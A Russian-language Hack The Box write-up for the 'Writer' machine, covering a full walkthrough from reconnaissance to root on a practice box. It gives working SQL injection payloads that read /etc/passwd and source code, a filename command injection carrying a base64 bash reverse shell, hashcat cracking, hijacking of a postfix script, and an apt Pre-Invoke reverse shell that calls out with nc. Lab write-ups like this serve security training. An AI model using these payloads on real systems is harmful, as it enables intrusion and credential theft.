Хакер - HTB Writer. Ломаем приложение на Django, чтобы захватить веб-сервер
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Служба SMB
- Сканирование веб-контента
- Точка входа
- Точка опоры
- Получение пользователя
- Поиск учетных данных
- Продвижение
- Локальное повышение привилегий
В этой статье я покажу, как с помощью SQL-инъекции получить исходные коды приложения, затем проэксплуатируем уязвимость загрузки и обработки файлов, а под конец поищем путь к повышению привилегий через мониторинг запускаемых пользователем процессов. Все это потребуется, чтобы пройти среднюю по сложности машину Writer с площадки Hack The Box.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.10.101 writer.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное, с использованием имеющихся скриптов (опция -A).

Находим четыре открытых порта:
- 22 — служба OpenSSH 8.2p1;
- 80 — веб‑сервер Apache 2.4.1;
- 139 — служба NetBIOS;
- 445 — служба smbd 4.6.2.
Справка: брутфорс учеток
Поскольку в начале у нас нет учетных данных, нет и смысла изучать службы, которые всегда требуют авторизации (например, SSH). Единственное, что мы можем делать здесь, — это перебирать пароли брутфорсом, но у машин с HTB почти всегда есть другое прохождение. В жизни таких вариантов может не быть, к тому же есть шансы подобрать пароль или получить его при помощи социальной инженерии.
Служба SMB
Посмотрим, что мы сможем узнать об SMB без учетных данных. Для этого достаточно всего одной команды:
enum4linux -a writer.htb

Из интересной информации — два имени пользователей kyle и john.
Сканирование веб-контента
Заглянем на главную страницу сайта. Здесь ничего интересного нет, разве что имена авторов над каждым постом. В таких случаях нужно искать дополнительные страницы при помощи слепого перебора. Просканируем директории в корневом каталоге сайта с помощью ffuf.
ffuf -u http://writer.htb/FUZZ -fc 403 -t 200 -w directory_2.3_medium.txt
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
-w— словарь (используем directory-list-2.3-medium из набора SecLists);-t— количество потоков;-u— URL;-fc— исключить из результата ответы с кодом 403.

Помимо известных нам страниц, мы нашли вход в админку. Там нас ждет форма авторизации.

ТОЧКА ВХОДА
Так как сайт самописный, я решил протестировать обход аутентификации для разных технологий. Начал, конечно же, с SQL-инъекции. Переводим запрос в Burp Intruder и подставляем список нагрузок и в поле логина, и в поле пароля (у меня свой список, но их полно на GitHub). В результате находим последовательности, которые возвращают меньше данных, чем все остальные.

Это работает, так как, скорее всего, на стороне сервера используется SQL-запрос вроде такого (код примерный):
select __ from __ where username='$_POST["username"]' and password=''$_POST["password"]'
При использовании нагрузки admin' # мы превращаем его в запрос вида select __ from __ where username='admin', так как решетка — это символ, обозначающий в SQL начало комментария. Используем эту нагрузку и получаем доступ к админке сайта.

Из интересного на странице лишь форма загрузки файлов. Однако прежде, чем изучать ее, я решил вернуться к SQL-инъекции. Из нее явно можно выжать что‑то еще! Давай потестируем форму авторизации и отправим на перебор словарь с другими нагрузками. Получим несколько результатов.


Инъекции типа boolean и UNION based дают положительный результат. Опираясь на первую, мы можем построить «вопросительный» запрос и сможем получать ответы о том, верно или неверно какое‑то наше предположение. UNION based инъекции помогают извлекать за один запрос большие объемы данных. Поэтому выбираем второй тип.
При этом мы уже знаем количество столбцов в используемой таблице — их шесть. Давай определим, данные из каких столбцов выводятся в ответе. Для этого в каждом столбце передадим уникальную последовательность и поищем ее в получаемой странице. При записи нагрузки в Burp выделим ее и нажмем Ctrl-U для URL-кодирования.
UNION ALL SELECT 888,8888,88888,888888,8888888,88888888 #

По количеству восьмерок определяем второй столбец! Теперь проверим тип данных. Например, вот такой строкой:
UNION ALL SELECT 888,"TEST_SQL",88888,888888,8888888,88888888#

Как мы видим, строка отобразилась в ответе. Получим имеющиеся базы данных. Чтобы объединить несколько строк в одну, используем функции concat или group_concat.
UNION ALL SELECT 1,concat(':::',schema_name),3,4,5,6 from information_schema.schemata #

Теперь получим таблицы из таблицы writer. Чтобы не копировать данные каждый раз, можно использовать Burp Inspector. Тогда кодировка будет выполняться автоматически.
asd' UNION ALL SELECT 1,group_concat(0x7c,table_name,0x7c),3,4,5,6 from information_schema.tableas WHERE table_schema = 'writer'#

Получаем таблицы. Скорее всего, в users сможем найти учетные данные. Давай узнаем имена столбцов из этой таблицы.
asd' UNION ALL SELECT 1,group_concat(0x7c,column_name,0x7c),3,4,5,6 from information_schema.columns WHERE table_name = 'users'#

Отлично, имеем username и password. Дампим пароли.
asd' UNION ALL SELECT 1,group_concat(0x7c,password,0x7c),3,4,5,6 from users#

Получаем хеш. Только есть одна загвоздка — он нам ничего не дает. Поэтому нужно снова менять вектор атаки. Попробуем читать файлы с сервера, к примеру из /etc/passwd.
asd' UNION ALL SELECT 1,LOAD_FILE('/etc/passwd'),3,4,5,6#

Запрос успешно обработан, и мы получаем все содержимое файла.
ТОЧКА ОПОРЫ
Так как мы можем читать файлы на сервере, следующий наш шаг — получить и проанализировать исходные коды сайта. Чтобы узнать путь к файлам сайта, взглянем на файл конфигураций Apache /etc/apache2/sites-enabled/000-default.conf.
asd' UNION ALL SELECT 1,LOAD_FILE("/etc/apache2/sites-enabled/000-default.conf"),3,4,5,6#

Теперь мы знаем путь к файлу writer.wsgi на сервере. WSGI (Web Server Gateway Interface) — стандарт взаимодействия между программой на Python, работающей на стороне сервера, и самим веб‑сервером. Получим содержимое этого файла.
asd' UNION ALL SELECT 1,LOAD_FILE("/var/www/writer.htb/writer.wsgi"),3,4,5,6#

Этот файл содержит код, который выполняет модуль Apache mod_wsgi, чтобы получить объект приложения. В данном случае мы узнаем про модуль writer. Именно из этого каталога мы получим файл __init__.py.
asd' UNION ALL SELECT 1,LOAD_FILE("/var/www/writer.htb/writer/__init__.py"),3,4,5,6#
Я скопировал весь код и вставил в VS Code — так будет удобнее анализировать. В исходном коде обратим внимание на использования модуля os и вызов функции system, которая позволяет выполнять команды при помощи командного интерпретатора системы. Погрузимся в анализ именно на этом месте, так как подобные вызовы всегда опасны.

Так, при загрузке файла с URL проверяется его расширение, оно должно быть .jpg (строка 108). Далее происходит получение файла и его размещение вызовом команды mv (строки 110–112). Затем проверяется изображение (строки 114–116), если успешно — той же командой mv оно перемещается из временной директории в директорию на веб‑сервере (строки 117–119). Если проверка не пройдена, команда rm удаляет файл.
Так как дополнительных проверок не предусмотрено, мы можем создать конвейер команд и выполнить инъекцию. Это даст удаленное выполнение кода. Плюс ко всему проверка отсутствует и при загрузке файла через форму. Так мы можем загрузить файл, название которого будет содержать цепочку команд с реверс‑шеллом, а затем указать загрузку файла через URL с локального хранилища, что приведет к выполнению этой цепочки команд.
Теперь собираем цепочку команд. Будем использовать такой реверс‑шелл:
bash -i >& /dev/tcp/10.10.14.121/4321 0>&1
Закодируем его в Base64. Цепочка должна передавать закодированный реверс‑шелл в декодировщик Base64, а затем файлу командной оболочки.
touch '1.jpg; `echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMjEvNDMyMSAwPiYxCg== |base64 -d |bash -i`'

В директории с загруженными файлами увидим свой.

Так как мы загрузили реверс‑шелл, запустим листенер:
rlwrap nc -lvp 4321
Справка: реверс-шелл
Обратный шелл — это подключение, которое активирует атакуемая машина, а мы принимаем и таким образом подключаемся к ней, чтобы выполнять команды от лица пользователя, который запустил шелл. Для приема соединения необходимо создать на локальной машине listener, то есть «слушатель».
В таких случаях пригодится rlwrap — readline-оболочка, которая в числе прочего позволяет пользоваться историей команд. Она обычно доступна в репозитории дистрибутива.
В качестве самого листенера при этом можно использовать широко известный netcat.
Теперь выполним загрузку через URL, при этом в Burp Proxy изменим путь на локальный и добавим к команде знак комментария. В окне листенера получим бэкконнект.


ПОЛУЧЕНИЕ ПОЛЬЗОВАТЕЛЯ
Поиск учетных данных
В большинстве случаев, когда мы собираемся поменять контекст на пользовательский, нам для этого нужны учетные данные. Так как на сервере работает веб‑приложение, мы можем попытаться получить пароли из него. В конфигурационном файле MySQL /etc/mysql/mariadb.cnf находим сведения для подключения к базе данных.


Сначала я проверил, не подходит ли этот пароль к аккаунтам системных пользователей, но успеха не добился. Поэтому продолжим копаться в базе данных.
python3 -c 'import pty;pty.spawn("/bin/bash")'
mysql -u djangouser -h 127.0.0.1 -p
После подключения командой show databases; просмотрим существующие базы данных.

Вторая база служебная, поэтому нам интересна первая. Подключаемся к ней и смотрим таблицы.
use dev;
show tables;


А теперь учетные данные из таблицы auth_user.
select username,password from auth_user;

Мы получаем хеш, который нужно пробрутить. Для этого нам надо знать алгоритм и соответствующий ему режим hashcat. Узнать их можно такой командой:
hashcat --example | grep pbkdf2_sha256 -A2 -B2

Теперь мы знаем режим (10000) и можем пробрутить хеш. Указываем перебор по словарю (опция -a 0), режим (опция -m), файл с хешем и словарь. Спустя несколько минут мы получаем пароль.
hashcat -a 0 -m 10000 hash.pbkdf2 ../tools/rockyou.txt

Подключаемся по SSH и забираем первый флаг.

ПРОДВИЖЕНИЕ
При поиске пути продвижения стоит смотреть не только на запущенное ПО, но и на прослушиваемые порты. Это связано с тем, что некоторые сервисы могут быть доступны только для пользователей локального компьютера. Обращаем внимание на порт 25 — это порт почтового сервера.

Мы знаем двух пользователей, и один у нас уже под контролем. Мне стало интересно, что произойдет в системе, если я отправлю другому пользователю сообщение.
Для мониторинга всех запускаемых в системе процессов в реальном времени будем использовать утилиту pspy64. Загружаем ее на хост, открываем еще одну сессию SSH и запускаем. Затем с помощью netcat подключимся к 25-му порту и, используя служебные заголовки SMTP, отправим сообщение.
nc 127.0.0.1 25
helo [сервер]
MAIL FROM: [отправитель]
RCPT TO: [получатель]
DATA
[сообщение]


Сообщение встало в очередь, а в логах pspy увидим активность: запуск pipe и последующее выполнение /etc/postfix/disclaimer от имени пользователя с UID, равным 1001 (пользователь john). При этом мы имеем право на запись в данный файл!

Это путь к захвату другого пользователя. Мы должны записать в него реверс‑шелл и отправить новое письмо, тогда наш реверс‑шелл будет выполнен от имени другого пользователя.

Чтобы это произошло наверняка, будем в бесконечном цикле отправлять сообщения и в другом бесконечном цикле перезаписывать файл. Вот скрипт для перезаписи файла:
while true ; do cp disclaimer /etc/postfix/disclaimer ; done
Для удобной отправки сообщения одной командой используем клиент swaks.
swaks --to [получатель] --from [отправитель] --server [сервер] --port [порт] --body [файл с сообщением]
Но отправлять будем через Socks-туннель. Сделать его можно легитимным SSH:
ssh -D 9090 kyle@writer.htb
Теперь весь трафик, приходящий на локальный порт 9090, будет ретранслирован в туннель. В качестве ретранслятора будем использовать Proxychains. Открываем листенер командой rlwrap nc -lvp [port], запускаем цикл переписывания файла, а потом начинаем в таком же цикле отправлять сообщения:
while true; do ; proxychains -q swaks --to john@writer.htb --from kyle@writer.htb --server 127.0.0.1 --port 25 --body message.txt ; done

Получаем бэкконнект, забираем приватный ключ пользователя и подключаемся заново по стабильному SSH.

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Если ты очень внимательно изучишь логи pspy, то заметишь еще один интересный факт — постоянный запуск команды apt update для обновления информации о репозиториях apt.

По информации из базы GTFOBins, у нас была бы возможность повысить привилегии, если бы мы сами выполняли эту команду через sudo.
Из вывода команды id мы можем узнать, что текущий пользователь — член группы management. Поискав файлы, доступные для этой группы (find / -group management 2>/dev/null), обнаружим директорию apt.conf.d.

Все файлы в /etc/apt/apt.conf.d/ — это инструкции, настраивающие APT. APT применяет их в алфавитном порядке, поэтому более поздняя инструкция может изменять параметры, установленные предшествующими ей инструкциями. То есть мы можем создать файл конфигурации, в котором перед обновлением репозиториев выполним реверс‑шелл в привилегированном контексте. Открываем листенер (rlwrap -lvp 4321) и заполняем конфиг.
echo 'apt::Update::Pre-Invoke {“rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.151 4321 >/tmp/f”};’ > /etc/apt/apt.conf.d/ralf.conf
Как только выполнится команда apt-get update, мы получим бэкконнект.

Мы получили полный контроль над машиной и забрали флаг рута!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei